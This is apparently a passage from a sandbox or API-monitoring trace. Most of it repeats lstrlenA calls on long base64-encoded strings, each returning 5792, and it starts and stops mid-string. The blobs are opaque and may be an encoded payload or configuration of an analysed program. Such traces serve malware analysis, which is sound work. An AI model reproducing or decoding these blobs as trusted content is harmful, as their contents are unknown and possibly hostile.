YSvtz+ZTFd/KsY0QTwCkMXz8I4rrVYQwplzQUBNSI1mhORqmefty4HpArQnp8yTJw7TnODULcGIYRrl0WEfM22foXv7IDBdVvosGMuabt2IQYRx/sjqA/unJi7Q86VSInEU8Ew548/Gq8awz5QGqoAyjQyMNHMpAAnrKTj+WTuKLOpjHjRcYUEoO6FfJX9+hR4cCh9nDqBn5l3CaD1ntz3PPO5SctrHlOw3433I+lYr+iHD8RzYK0Rd90Uq5XQ8losn/T8pGZKNS0I/sRvQrjEuVWnrjng7s/oMZHzthdWwczeZYv1dh0JGnvGXTvhFNI2xjqjGbNsdG1lnQp7c7JDA4enNFbtEOpKOQVXn67yq2sBLgYgy8JPBKhWcJyfV7+qmV6/ndgN2rH4VKZq3wnWA5TR5CeOkk635kUgJOQh2spzLV5cEJDaJ29L8ip4sIhGc/QNXj3ngjdcHYSwoFjzlN7I0LJkTUiAMqsBq3ymMPoa6rfEknB/aM215QFgHTAKZfeSE+rBTrFyb2Cr6qVcycOec9j91L/jQNXZT9esjhASiArQ+BzNHyY40CJMA4jgkJOxC+dFwzyClV2YM0lMSwODvSgg4fSmwGIA9rQjhalJ9kEfz1rcJZk+OrXz3Vw6UO/b94HF41S7vaIASv0Yars5MrvEsG5Ytc779Q6KNFMx7ZW44j3VBGKwny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0128.357] lstrlenA (lpString="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") returned 5792 [0128.357] lstrlenA (lpString="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") returned 5792 [0128.357] lstrlenA (lpString="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